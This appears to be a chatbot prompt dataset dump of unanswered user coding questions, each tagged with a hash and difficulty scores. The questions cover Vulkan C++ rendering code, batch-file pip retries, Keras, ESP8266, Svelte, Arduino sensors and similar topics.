&createInfo, nullptr, &swapchain) != VK_SUCCESS) { throw std::runtime_error("failed to create swap chain!"); } // Retrieve swapchain images (color buffers) // … // Retrieve swapchain images vkGetSwapchainImagesKHR(device, swapchain, &imageCount, nullptr); swapChainImages.resize(imageCount); vkGetSwapchainImagesKHR(device, swapchain, &imageCount, swapChainImages.data()); // Create image views for swapchain images CreateImageViews(); } void Renderer::CleanupSwapchain() { // Clean up Vulkan swapchain if (swapchain != VK_NULL_HANDLE) { vkDestroySwapchainKHR(device, swapchain, nullptr); swapchain = VK_NULL_HANDLE; } } void Renderer::CreateImageViews() { swapChainImageViews.resize(swapChainImages.size()); for (size_t i = 0; i < swapChainImages.size(); ++i) { VkImageViewCreateInfo createInfo{}; createInfo.sType = VK_STRUCTURE_TYPE_IMAGE_VIEW_CREATE_INFO; createInfo.image = swapChainImages[i]; createInfo.viewType = VK_IMAGE_VIEW_TYPE_2D; createInfo.format = swapChainImageFormat; createInfo.components.r = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.g = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.b = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.components.a = VK_COMPONENT_SWIZZLE_IDENTITY; createInfo.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT; createInfo.subresourceRange.baseMipLevel = 0; createInfo.subresourceRange.levelCount = 1; createInfo.subresourceRange.baseArrayLayer = 0; createInfo.subresourceRange.layerCount = 1; createInfo.flags = 0; if (vkCreateImageView(device, &createInfo, nullptr, &swapChainImageViews[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create an image view."); } } } void Renderer::CleanupImageViews() { for (auto imageView : swapChainImageViews) { vkDestroyImageView(device, imageView, nullptr); } swapChainImageViews.clear(); } void Renderer::CreateRenderPass() { VkAttachmentDescription colorAttachment{}; colorAttachment.format = swapChainImageFormat; colorAttachment.samples = VK_SAMPLE_COUNT_1_BIT; colorAttachment.loadOp = VK_ATTACHMENT_LOAD_OP_CLEAR; colorAttachment.storeOp = VK_ATTACHMENT_STORE_OP_STORE; colorAttachment.stencilLoadOp = VK_ATTACHMENT_LOAD_OP_DONT_CARE; colorAttachment.stencilStoreOp = VK_ATTACHMENT_STORE_OP_DONT_CARE; colorAttachment.initialLayout = VK_IMAGE_LAYOUT_UNDEFINED; colorAttachment.finalLayout = VK_IMAGE_LAYOUT_PRESENT_SRC_KHR; VkAttachmentReference colorAttachmentRef{}; colorAttachmentRef.attachment = 0; colorAttachmentRef.layout = VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL; VkSubpassDescription subpass{}; subpass.pipelineBindPoint = VK_PIPELINE_BIND_POINT_GRAPHICS; subpass.colorAttachmentCount = 1; subpass.pColorAttachments = &colorAttachmentRef; VkRenderPassCreateInfo renderPassInfo{}; renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_CREATE_INFO; renderPassInfo.attachmentCount = 1; renderPassInfo.pAttachments = &colorAttachment; renderPassInfo.subpassCount = 1; renderPassInfo.pSubpasses = &subpass; VkSubpassDependency dependency{}; dependency.srcSubpass = VK_SUBPASS_EXTERNAL; dependency.dstSubpass = 0; dependency.srcStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; dependency.srcAccessMask = 0; dependency.dstStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT; dependency.dstAccessMask = VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT; renderPassInfo.dependencyCount = 1; renderPassInfo.pDependencies = &dependency; if (vkCreateRenderPass(device, &renderPassInfo, nullptr, &renderPass) != VK_SUCCESS) { throw std::runtime_error("Failed to create render pass."); } } void Renderer::CleanupRenderPass() { vkDestroyRenderPass(device, renderPass, nullptr); } void Renderer::CreateCommandPool() { // Find a queue family index that supports graphics operations QueueFamilyIndices queueFamilyIndices = GetQueueFamilyIndices(physicalDevice); // Create a command pool for the queue family VkCommandPoolCreateInfo poolInfo{}; poolInfo.sType = VK_STRUCTURE_TYPE_COMMAND_POOL_CREATE_INFO; poolInfo.queueFamilyIndex = queueFamilyIndices.graphicsFamily.value(); poolInfo.flags = VK_COMMAND_POOL_CREATE_RESET_COMMAND_BUFFER_BIT; // Set the flag here if (vkCreateCommandPool(device, &poolInfo, nullptr, &commandPool) != VK_SUCCESS) { throw std::runtime_error("Failed to create command pool."); } CreateCommandBuffers(); // Create command buffers after creating the command pool } void Renderer::CleanupCommandPool() { // Clean up Vulkan command pool CleanupCommandBuffers(); // Add this line to clean up command buffers before destroying the command pool vkDestroyCommandPool(device, commandPool, nullptr); } void Renderer::CreateCommandBuffers() { //commandBuffers.resize(kMaxFramesInFlight); commandBuffers.resize(kMaxFramesInFlight * 2); VkCommandBufferAllocateInfo allocInfo{}; allocInfo.sType = VK_STRUCTURE_TYPE_COMMAND_BUFFER_ALLOCATE_INFO; allocInfo.commandPool = commandPool; allocInfo.level = VK_COMMAND_BUFFER_LEVEL_PRIMARY; allocInfo.commandBufferCount = static_cast<uint32_t>(commandBuffers.size()); if (vkAllocateCommandBuffers(device, &allocInfo, commandBuffers.data()) != VK_SUCCESS) { throw std::runtime_error("Failed to allocate command buffers."); } // Set the initial value of the currentCommandBuffer currentCommandBuffer = commandBuffers[currentFrame]; } void Renderer::CleanupCommandBuffers() { vkFreeCommandBuffers(device, commandPool, static_cast<uint32_t>(commandBuffers.size()), commandBuffers.data()); } void Renderer::CreateFramebuffers() { // Check if the framebuffers vector is not empty, and call CleanupFramebuffers() if (!framebuffers.empty()) { CleanupFramebuffers(); } // Create Vulkan framebuffers for swapchain images framebuffers.resize(swapChainImageViews.size()); for (size_t i = 0; i < swapChainImageViews.size(); ++i) { VkImageView attachments[] = { swapChainImageViews[i] }; VkFramebufferCreateInfo framebufferInfo{}; framebufferInfo.sType = VK_STRUCTURE_TYPE_FRAMEBUFFER_CREATE_INFO; framebufferInfo.renderPass = renderPass; framebufferInfo.attachmentCount = 1; framebufferInfo.pAttachments = attachments; framebufferInfo.width = swapChainExtent.width; framebufferInfo.height = swapChainExtent.height; framebufferInfo.layers = 1; if (vkCreateFramebuffer(device, &framebufferInfo, nullptr, &framebuffers[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create framebuffer."); } } } void Renderer::CleanupFramebuffers() { for (auto framebuffer : framebuffers) { if (framebuffer != VK_NULL_HANDLE) { vkDestroyFramebuffer(device, framebuffer, nullptr); framebuffer = VK_NULL_HANDLE; } } framebuffers.clear(); // Make sure to clear the framebuffers vector after destroying each framebuffer } void Renderer::CreateSyncObjects() { imageAvailableSemaphores.resize(kMaxFramesInFlight, VK_NULL_HANDLE); renderFinishedSemaphores.resize(kMaxFramesInFlight, VK_NULL_HANDLE); inFlightFences.resize(kMaxFramesInFlight, VK_NULL_HANDLE); VkSemaphoreCreateInfo semaphoreInfo{}; semaphoreInfo.sType = VK_STRUCTURE_TYPE_SEMAPHORE_CREATE_INFO; VkFenceCreateInfo fenceInfo{}; fenceInfo.sType = VK_STRUCTURE_TYPE_FENCE_CREATE_INFO; fenceInfo.flags = VK_FENCE_CREATE_SIGNALED_BIT; for (size_t i = 0; i < kMaxFramesInFlight; ++i) { if (vkCreateSemaphore(device, &semaphoreInfo, nullptr, &imageAvailableSemaphores[i]) != VK_SUCCESS || vkCreateSemaphore(device, &semaphoreInfo, nullptr, &renderFinishedSemaphores[i]) != VK_SUCCESS || vkCreateFence(device, &fenceInfo, nullptr, &inFlightFences[i]) != VK_SUCCESS) { throw std::runtime_error("Failed to create synchronization objects for a frame."); } } } void Renderer::CleanupSyncObjects() { for (size_t i = 0; i < kMaxFramesInFlight; ++i) { if (renderFinishedSemaphores[i] != VK_NULL_HANDLE) vkDestroySemaphore(device, renderFinishedSemaphores[i], nullptr); if (imageAvailableSemaphores[i] != VK_NULL_HANDLE) vkDestroySemaphore(device, imageAvailableSemaphores[i], nullptr); if (inFlightFences[i] != VK_NULL_HANDLE) vkDestroyFence(device, inFlightFences[i], nullptr); } } SwapChainSupportDetails Renderer::querySwapChainSupport(VkPhysicalDevice device, VkSurfaceKHR surface) { SwapChainSupportDetails details; // Query the capabilities vkGetPhysicalDeviceSurfaceCapabilitiesKHR(device, surface, &details.capabilities); // Query the supported formats uint32_t formatCount; vkGetPhysicalDeviceSurfaceFormatsKHR(device, surface, &formatCount, nullptr); if (formatCount != 0) { details.formats.resize(formatCount); vkGetPhysicalDeviceSurfaceFormatsKHR(device, surface, &formatCount, details.formats.data()); } // Query the supported present modes uint32_t presentModeCount; vkGetPhysicalDeviceSurfacePresentModesKHR(device, surface, &presentModeCount, nullptr); if (presentModeCount != 0) { details.presentModes.resize(presentModeCount); vkGetPhysicalDeviceSurfacePresentModesKHR(device, surface, &presentModeCount, details.presentModes.data()); } return details; } VkSurfaceFormatKHR Renderer::chooseSwapSurfaceFormat(const std::vector<VkSurfaceFormatKHR>& availableFormats) { for (const auto& availableFormat : availableFormats) { if (availableFormat.format == VK_FORMAT_B8G8R8A8_SRGB && availableFormat.colorSpace == VK_COLOR_SPACE_SRGB_NONLINEAR_KHR) { return availableFormat; } } return availableFormats[0]; } VkPresentModeKHR Renderer::chooseSwapPresentMode(const std::vector<VkPresentModeKHR>& availablePresentModes) { for (const auto& availablePresentMode : availablePresentModes) { if (availablePresentMode == VK_PRESENT_MODE_MAILBOX_KHR) { return availablePresentMode; } } return VK_PRESENT_MODE_FIFO_KHR; } VkExtent2D Renderer::chooseSwapExtent(const VkSurfaceCapabilitiesKHR& capabilities, GLFWwindow* window) { if (capabilities.currentExtent.width != UINT32_MAX) { return capabilities.currentExtent; } else { int width, height; glfwGetFramebufferSize(window, &width, &height); VkExtent2D actualExtent = { static_cast<uint32_t>(width), static_cast<uint32_t>(height) }; actualExtent.width = std::max(capabilities.minImageExtent.width, std::min(capabilities.maxImageExtent.width, actualExtent.width)); actualExtent.height = std::max(capabilities.minImageExtent.height, std::min(capabilities.maxImageExtent.height, actualExtent.height)); return actualExtent; } } std::vector<const char*> Renderer::CheckPhysicalDeviceExtensionSupport(VkPhysicalDevice physicalDevice) { uint32_t extensionCount; vkEnumerateDeviceExtensionProperties(physicalDevice, nullptr, &extensionCount, nullptr); std::vector<VkExtensionProperties> availableExtensions(extensionCount); vkEnumerateDeviceExtensionProperties(physicalDevice, nullptr, &extensionCount, availableExtensions.data()); std::set<std::string> requiredExtensions(deviceExtensions.begin(), deviceExtensions.end()); for (const auto& extension : availableExtensions) { requiredExtensions.erase(extension.extensionName); } std::vector<const char*> remainingExtensions; for (const auto& extension : requiredExtensions) { remainingExtensions.push_back(extension.c_str()); } return remainingExtensions; } QueueFamilyIndices Renderer::GetQueueFamilyIndices(VkPhysicalDevice physicalDevice) { QueueFamilyIndices indices; uint32_t queueFamilyCount = 0; vkGetPhysicalDeviceQueueFamilyProperties(physicalDevice, &queueFamilyCount, nullptr); std::vector<VkQueueFamilyProperties> queueFamilies(queueFamilyCount); vkGetPhysicalDeviceQueueFamilyProperties(physicalDevice, &queueFamilyCount, queueFamilies.data()); int i = 0; for (const auto& queueFamily : queueFamilies) { if (queueFamily.queueFlags & VK_QUEUE_GRAPHICS_BIT) { indices.graphicsFamily = i; } VkBool32 presentSupport = false; vkGetPhysicalDeviceSurfaceSupportKHR(physicalDevice, i, surface, &presentSupport); if (presentSupport) { indices.presentFamily = i; } if (indices.IsComplete()) { break; } i++; } return indices; } VkDevice* Renderer::GetDevice() { return &device; }; VkPhysicalDevice* Renderer::GetPhysicalDevice() { return &physicalDevice; }; VkCommandPool* Renderer::GetCommandPool() { return &commandPool; }; VkQueue* Renderer::GetGraphicsQueue() { return &graphicsQueue; }; VkCommandBuffer* Renderer::GetCurrentCommandBuffer() { return &currentCommandBuffer; } VkDescriptorSetLayout Renderer::CreateDescriptorSetLayout() { VkDescriptorSetLayoutBinding uboLayoutBinding{}; uboLayoutBinding.binding = 0; uboLayoutBinding.descriptorType = VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER; uboLayoutBinding.descriptorCount = 1; uboLayoutBinding.stageFlags = VK_SHADER_STAGE_VERTEX_BIT; uboLayoutBinding.pImmutableSamplers = nullptr; // Add sampler layout binding VkDescriptorSetLayoutBinding samplerLayoutBinding{}; samplerLayoutBinding.binding = 1; samplerLayoutBinding.descriptorType = VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER; samplerLayoutBinding.descriptorCount = 1; samplerLayoutBinding.stageFlags = VK_SHADER_STAGE_FRAGMENT_BIT; samplerLayoutBinding.pImmutableSamplers = nullptr; std::array<VkDescriptorSetLayoutBinding, 2> bindings = { uboLayoutBinding, samplerLayoutBinding }; VkDescriptorSetLayoutCreateInfo layoutInfo{}; layoutInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_SET_LAYOUT_CREATE_INFO; layoutInfo.bindingCount = static_cast<uint32_t>(bindings.size()); layoutInfo.pBindings = bindings.data(); VkDescriptorSetLayout descriptorSetLayout; if (vkCreateDescriptorSetLayout(device, &layoutInfo, nullptr, &descriptorSetLayout) != VK_SUCCESS) { throw std::runtime_error("Failed to create descriptor set layout!"); } return descriptorSetLayout; } VkDescriptorPool Renderer::CreateDescriptorPool(uint32_t maxSets) { VkDescriptorPoolSize poolSize{}; poolSize.type = VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER; poolSize.descriptorCount = maxSets; // Add an additional descriptor pool size for COMBINED_IMAGE_SAMPLER VkDescriptorPoolSize samplerPoolSize{}; samplerPoolSize.type = VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER; samplerPoolSize.descriptorCount = maxSets; std::array<VkDescriptorPoolSize, 2> poolSizes = { poolSize, samplerPoolSize }; VkDescriptorPoolCreateInfo poolInfo{}; poolInfo.sType = VK_STRUCTURE_TYPE_DESCRIPTOR_POOL_CREATE_INFO; poolInfo.poolSizeCount = static_cast<uint32_t>(poolSizes.size()); poolInfo.pPoolSizes = poolSizes.data(); poolInfo.maxSets = maxSets; VkDescriptorPool descriptorPool; if (vkCreateDescriptorPool(device, &poolInfo, nullptr, &descriptorPool) != VK_SUCCESS) { throw std::runtime_error("Failed to create descriptor pool!"); } return descriptorPool; } void Renderer::CreateGraphicsPipeline(Mesh* mesh, Material* material) { vkDeviceWaitIdle(device); if (pipeline) { pipeline->Cleanup(); } // Create pipeline object and configure its properties pipeline = std::make_shared<Pipeline>(); pipeline->CreateGraphicsPipeline(mesh->GetVertexInputBindingDescriptions(), mesh->GetVertexInputAttributeDescriptions(), swapChainExtent, {material->GetvertexShader().get(), material->GetfragmentShader().get()}, renderPass, material->GetPipelineLayout(), device); } std::shared_ptr<Pipeline> Renderer::GetPipeline() { return pipeline; } std::pair<VkBuffer, VkDeviceMemory> Renderer::RequestMvpBuffer() { uint32_t mvpBufferIndex = currentMvpBufferIndex; VkBuffer mvpBuffer = mvpBuffers[mvpBufferIndex]; VkDeviceMemory& requestedMvpBufferMemory = mvpBufferMemory[mvpBufferIndex]; // Changed the variable name currentMvpBufferIndex = (currentMvpBufferIndex + 1) % kMvpBufferCount; return std::make_pair(mvpBuffer, requestedMvpBufferMemory); } Can you convert the above code to make best use of Vulkan.hpp and properly implement RAII?
70c38a4a62fc876bb5785c15a9ebe8ff
{ "intermediate": 0.3268023133277893, "beginner": 0.3990335762500763, "expert": 0.274164080619812 }
11,818
php login page with facebook
6d67dc822fb045c3ddd7d51acceb2bd9
{ "intermediate": 0.26693102717399597, "beginner": 0.3755548298358917, "expert": 0.3575141131877899 }
11,819
I have the following code: @echo off set RETRIES=5 set COUNT=0 setlocal enabledelayedexpansion REM check if python is installed python --version >nul 2>&1 IF %ERRORLEVEL% NEQ 0 ( REM python is not installed echo [ERROR !DATE! !TIME!] Python installation not found. Exiting silently. exit /B 1 ) ELSE ( REM python is installed, upgrading package DataWarehouseLoadingRoutine echo *************** Starting installation *************** echo [!DATE! !TIME!] Pip installing/upgrading package DataWarehouseLoadingRoutine ... :RETRY IF %COUNT% GEQ %RETRIES% GOTO FAILED set /A COUNT+=1 for /f "delims=" %%i in ('pip install --upgrade DataWarehouseLoadingRoutine') do ( echo [!DATE! !TIME!] %%i ) IF %ERRORLEVEL% EQU 0 ( REM installation successful echo [!DATE! !TIME!] Package DataWarehouseLoadingRoutine installation successful. goto END ) ELSE ( REM installation failed echo [ERROR !DATE! !TIME!] Package DataWarehouseLoadingRoutine installation failed with error code %ERRORLEVEL%. echo [!DATE! !TIME!] Retrying in 30 seconds ... timeout /t 30 >nul goto RETRY ) :FAILED echo [ERROR !DATE! !TIME!] Package DataWarehouseLoadingRoutine installation failed after %RETRIES% attempts. Exiting silently. echo *************** Ending installation *************** timeout /t 6 >nul & exit /b :END echo *************** Ending installation *************** ) timeout /t 6 >nul & exit /b This code does not work if an error occur in pip because at the exit of the for loop, %ERRORLEVEL% has value zero despite a failure in pip. how to fix it
d7169fdc5f9b0d6cfc49922a35eb0dd7
{ "intermediate": 0.4075900912284851, "beginner": 0.3518347442150116, "expert": 0.2405751496553421 }
11,821
请用中文详细解释一下这段程序subdesign dongtai ( inclk,a[3..0],b[3..0]:input; outa[6..0],bitout[1..0]:output; ) variable mda[14..0]:dff; mseg[3..0],bitout[1..0]:dff; st[1..0]:dff; fpa:dff; begin fpa.clk=inclk; mda[].clk=inclk; mseg[].clk=fpa; st[].clk=fpa; bitout[].clk=fpa; if mda[]==19999 then mda[]=0; fpa=!fpa; else mda[]=mda[]+1; fpa=fpa; end if; case st[] is when 0=> mseg[]=b[]; bitout[]=1; st=1; when 1=> mseg[]=a[]; bitout[]=2; st=0; end case; table mseg[]=>outa[]; h"0"=>h"3f"; h"1"=>h"06"; h"2"=>h"5b"; h"3"=>h"4f"; h"4"=>h"66"; h"5"=>h"6d"; h"6"=>h"7d"; h"7"=>h"07"; h"8"=>h"7f"; h"9"=>h"6f"; end table; end;
d9efabe3676d9ded184485158a57157e
{ "intermediate": 0.2791590690612793, "beginner": 0.4048484265804291, "expert": 0.31599247455596924 }
11,822
This neural network: model = keras.Sequential() model.add(layers.Dense(units=5, activation='relu', input_shape=(X_train.shape[1],))) model.add(layers.Dense(units=46, activation='relu')) model.add(layers.Dense(3, activation='softmax')) model.compile(optimizer=keras.optimizers.Adam(0.00021677996581918012), loss='sparse_categorical_crossentropy', metrics=['accuracy']) model.fit(X_train, y_train1, epochs=29, batch_size=17, verbose=0) for y_train with values 0,1,2 appears to be putting 2 everywhere even if the classess are of similar number of instances in training dataset. Fix that neural network.
d94131b13ef70d0a7ddf568965ae5f9e
{ "intermediate": 0.08201969414949417, "beginner": 0.0531170517206192, "expert": 0.8648632764816284 }
11,823
php login page with facebook
94a5954cc146e66c50cf44303acc7bdd
{ "intermediate": 0.26693102717399597, "beginner": 0.3755548298358917, "expert": 0.3575141131877899 }
11,824
php script login page with facebook
1857c90df1fd35088b1e5c087a27b355
{ "intermediate": 0.29953211545944214, "beginner": 0.3897157609462738, "expert": 0.31075212359428406 }
11,825
how can I use Geometry Dash API?
9081f57fe6c6cd4da12742a1fb94bdf3
{ "intermediate": 0.8257919549942017, "beginner": 0.08630872517824173, "expert": 0.087899349629879 }
11,826
/* Copyright (c) 2015, Majenko Technologies All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * * Neither the name of Majenko Technologies nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Create a WiFi access point and provide a web server on it. */ #include <ESP8266WiFi.h> #include <WiFiClient.h> #include <ESP8266WebServer.h> #ifndef APSSID #define APSSID "ESPap" #define APPSK "thereisnospoon" #endif /* Set these to your desired credentials. */ const char *ssid = APSSID; const char *password = APPSK; ESP8266WebServer server(80); /* Just a little test message. Go to http://192.168.4.1 in a web browser connected to this access point to see it. */ void handleRoot() { server.send(200, "text/html", "<h1>You are connected</h1>"); } void setup() { delay(1000); Serial.begin(115200); Serial.println(); Serial.print("Configuring access point..."); /* You can remove the password parameter if you want the AP to be open. */ WiFi.softAP(ssid, password); IPAddress myIP = WiFi.softAPIP(); Serial.print("AP IP address: "); Serial.println(myIP); server.on("/", handleRoot); server.begin(); Serial.println("HTTP server started"); } void loop() { server.handleClient(); } make index.html independent file
8583cbd01e011e6abf4d50d301e665b0
{ "intermediate": 0.35642534494400024, "beginner": 0.34316736459732056, "expert": 0.30040720105171204 }
11,827
<table class="border-collapse w-full" id="active-calls"> <thead><tr> <th class="field-table-col w-10 pl-2 text-left">ID</th> <th class="field-table-col w-20 pl-2 text-left">TYPE</th> <th class="field-table-col pl-2 text-left">LOCATION</th> <th class="field-table-col w-11 pl-2 text-left">DIST</th> <th class="field-table-col pl-1 text-left">RECEIVED</th> <th class="field-table-col pl-1 text-left">UNITS</th> </tr></thead> <tbody>{#each data as item} <tr> <td class="field-table-col w-10 pl-2 text-left">{item.id}</td> <td class="field-table-col w-20 pl-2 text-left">{item.type}</td> <td class="field-table-col pl-2 text-left">{item.location}</td> <td class="field-table-col w-11 pl-2 text-left">{item.dist}</td> <td class="field-table-col pl-1 text-left">{item.recived}</td> <td class="field-table-col pl-1 text-left">{item.units}</td> </tr> {/each}</tbody> </table> svelte how to make it when a player clicks on a table row it triggers a functions with the tables details
9eb8da283ba0ce3aea4e69b6222543af
{ "intermediate": 0.25101450085639954, "beginner": 0.5541432499885559, "expert": 0.19484233856201172 }
11,828
How to visualize .dot file using python, first five lines of which are these: # Time-averaged data for fix myat1 # TimeStep v_kinetic_energy v_potential_energy 390 0.208725 -0.947088 400 1.02651 -0.908315 410 1.25976 -0.795122
07e59a6595143dd3ff81bfa0f44c16a1
{ "intermediate": 0.4050445258617401, "beginner": 0.29202383756637573, "expert": 0.30293160676956177 }
11,829
How to visualize .dot file using python, first five lines of which are these: # Time-averaged data for fix myat1 # TimeStep v_kinetic_energy v_potential_energy 390 0.208725 -0.947088 400 1.02651 -0.908315 410 1.25976 -0.795122
7a13ca8351f04438c9b209abed301abb
{ "intermediate": 0.4050445258617401, "beginner": 0.29202383756637573, "expert": 0.30293160676956177 }
11,830
I have a script that runs upon reboot of my machine. The script is supposed to run a pip install command which checks the .pypirc file for indexes before installing the packages. The script works fine if I run it while I am logged onto my machine with the internet on. The script has a retry logic such that if there is no internet connection it keeps running pip until there is internet connection. If I turn off the internet and I run the script then it keeps retrying and work once I turn on the internet. The issue happens when I reboot my machine. the script starts before I log on. but then even after I log on it does not work. it also does not log that it is checking the indexes in .pypirc which makes me think it does not check that file at all. How can I fix this?
11a5b1b5c73373471300a677367bfd4b
{ "intermediate": 0.4389497637748718, "beginner": 0.23971907794475555, "expert": 0.3213311731815338 }
11,831
How to visualize .dot file using python with pyplot
e2ae31892a1f34e0984ddf812901e69b
{ "intermediate": 0.47624364495277405, "beginner": 0.23152314126491547, "expert": 0.2922331690788269 }
11,832
can you write me a script to convert Geometry Dash levels to text in python using Geometry Dash API library?
7090bdfb05ea87570506d5a64c75e7aa
{ "intermediate": 0.8855002522468567, "beginner": 0.0434638150036335, "expert": 0.07103589922189713 }
11,833
you are a support engineer, write an email to a customer saying that you are happy that he can solve the issue
268bd0ab1a9e8e59a10f0798d1abc2fa
{ "intermediate": 0.4030653238296509, "beginner": 0.35236623883247375, "expert": 0.24456842243671417 }
11,834
请用中文详细解释一下这段程序SUBDESIGN 24to0opposite (  inclk,ld:INPUT;  outh[3…0]:OUTPUT;  outl[3…0]:OUTPUT;  led:OUTPUT;  buzz:OUTPUT; ) VARIABLE  hw[3…0]:DFF;  lw[3…0]:DFF; BEGIN  (hw[],lw[]).clk=inclk;  IF ld==0 THEN   hw[]=2;   lw[]=4;   led=GND;   buzz=VCC;  ELSIF(hw[]==0 and lw[]==0)THEN   hw[]=0;   lw[]=0;   led=VCC;   buzz=GND;  ELSIF(hw[]!=0 and lw[]==0)THEN   lw[]=9; hw[]=hw[]-1;  ELSE   Hw[]=hw[];   Lw[]=lw[]-1;  END IF;   outh[]=hw[];   outl[]=lw[]; END;
5de2b34e138470d81a01781ddc50fdc5
{ "intermediate": 0.3176356852054596, "beginner": 0.4045580327510834, "expert": 0.27780628204345703 }
11,835
#include <Adafruit_AM2320.h> #include <DHT_U.h> #include <DHT.h> DHT dht(5, DHT11); #include <MQ135.h> #define analogPin A0 MQ135 gasSensor = MQ135(analogPin); void setup() { Serial.begin(9600); delay(1000); dht.begin(); Serial.begin(9600); } void loop() { float ppm = gasSensor.getPPM(); Serial.println(ppm); float rzero = gasSensor.getRZero(); Serial.println(rzero); delay(2000); float h = dht.readHumidity(); float t = dht.readTemperature(); Serial.print("Humidity: "); Serial.println(h); Serial.print("Temperature: "); Serial.println(t); delay(2000); }
e4fe10552801a25997dbf4ea3cc6a43d
{ "intermediate": 0.29425644874572754, "beginner": 0.5168386101722717, "expert": 0.18890497088432312 }
11,836
create a resume
78af38a1975eb1aaf77827733b4821e8
{ "intermediate": 0.3577558398246765, "beginner": 0.30312061309814453, "expert": 0.33912351727485657 }
11,838
Is there a way to categorize events? Like system events, input events, entity etc., template<typename... Events> class EventSystem { private: using EventBusPtr = std::shared_ptr<EventBus>; using EventQueueManagerPtr = std::shared_ptr<EventQueueManager>; using EventProcessorMap = std::unordered_map<std::type_index, std::function<void(EventBase&)>>; public: EventSystem(EventBusPtr bus, EventQueueManagerPtr manager) : bus_(bus), manager_(manager) {} //EventSystem() : bus_(std::make_shared<EventBus>()), manager_(std::make_shared<EventQueueManager>()) {} template<typename EventType> void Subscribe(std::function<void(EventType&)> handler) { static_assert(IsSupportedEvent<EventType>(), "Event type not supported by this EventSystem."); bus_->Subscribe(handler); } template<typename EventType> void Publish(EventType event_data) { static_assert(IsSupportedEvent<EventType>(), "Event type not supported by this EventSystem."); bus_->Publish(event_data); } void Update() const { (PullEvent<Events>(), ...); } template<typename EventType> void PullEvent() const { static_assert(IsSupportedEvent<EventType>(), "Event type not supported by this EventSystem."); auto test = manager_->Dequeue<EventType>(); static_assert(!std::is_same_v<decltype(test), std::nullopt_t>, "Event not available in the queue."); if (test) { if (eventProcessors_.count(typeid(EventType)) > 0) { EventBase& event = *test; eventProcessors_.at(typeid(EventType))(event); } } } template<typename EventType> void RegisterEventProcessor(std::function<void(EventType&)> eventProcessor) { eventProcessors_[typeid(EventType)] = [eventProcessor](EventBase& event) { eventProcessor(static_cast<Event<EventType>&>(event).data_); }; } private: template<typename EventType> static constexpr bool IsSupportedEvent() { return (... || std::is_same_v<EventType, Events>); } EventQueueManagerPtr manager_; EventBusPtr bus_; EventProcessorMap eventProcessors_; }; class EventBase { public: virtual ~EventBase() {} }; template<typename EventType> class Event : public EventBase { public: EventType data_; explicit Event(const EventType& eventData) : data_(eventData) {} //Event(const EventType& eventData) : data_(eventData) {} };
6506a051c2dc7fb422dddaf9b285b79c
{ "intermediate": 0.30257001519203186, "beginner": 0.46936970949172974, "expert": 0.2280602753162384 }
11,839
tailwind width 10%
66a543862407ac48dca91b794e42efc4
{ "intermediate": 0.378442645072937, "beginner": 0.3072880506515503, "expert": 0.3142693340778351 }
11,840
hello
7064fdd7200840f22b30fce8878a94af
{ "intermediate": 0.32064199447631836, "beginner": 0.28176039457321167, "expert": 0.39759764075279236 }
11,841
hi
1b316aa5234313d7c8d8589748563961
{ "intermediate": 0.3246487081050873, "beginner": 0.27135494351387024, "expert": 0.40399640798568726 }
11,842
can I code so every word I type starts with a bigger word like "A"?
1f48b7e079ed3efe215e619b9e013096
{ "intermediate": 0.23305650055408478, "beginner": 0.3158131241798401, "expert": 0.4511304199695587 }
11,843
tailwind bold
1ec8f915a294c22fd31749acb7b86c2d
{ "intermediate": 0.3333757221698761, "beginner": 0.3095071017742157, "expert": 0.3571171462535858 }
11,844
How to stream the response back from OpenAI?
1ea9fb6b79094f4458307bdf8bc29083
{ "intermediate": 0.2593049108982086, "beginner": 0.08851224929094315, "expert": 0.6521828770637512 }
11,845
this is a antDesign modal component, I want "setModalText" to contain JSX components and functions instead of text. "const handleOk = () => { setModalText('The modal will be closed after two seconds'); setConfirmLoading(true); setTimeout(() => { setOpen(false); setConfirmLoading(false); }, 2000); };"
b5ef1ae4056d0ca71872638d2a6a8bab
{ "intermediate": 0.2791402339935303, "beginner": 0.5211559534072876, "expert": 0.1997038573026657 }
11,846
Could you create a jms rabbitmq consumer client c#
f8fbd282d9c339c3ce51d89247917f71
{ "intermediate": 0.5107454061508179, "beginner": 0.18652136623859406, "expert": 0.3027331531047821 }
11,847
in MySQL and PostgreSQL, when is a materialized view updated?
7f72ddcf5fc980393a06ecdde14cc11d
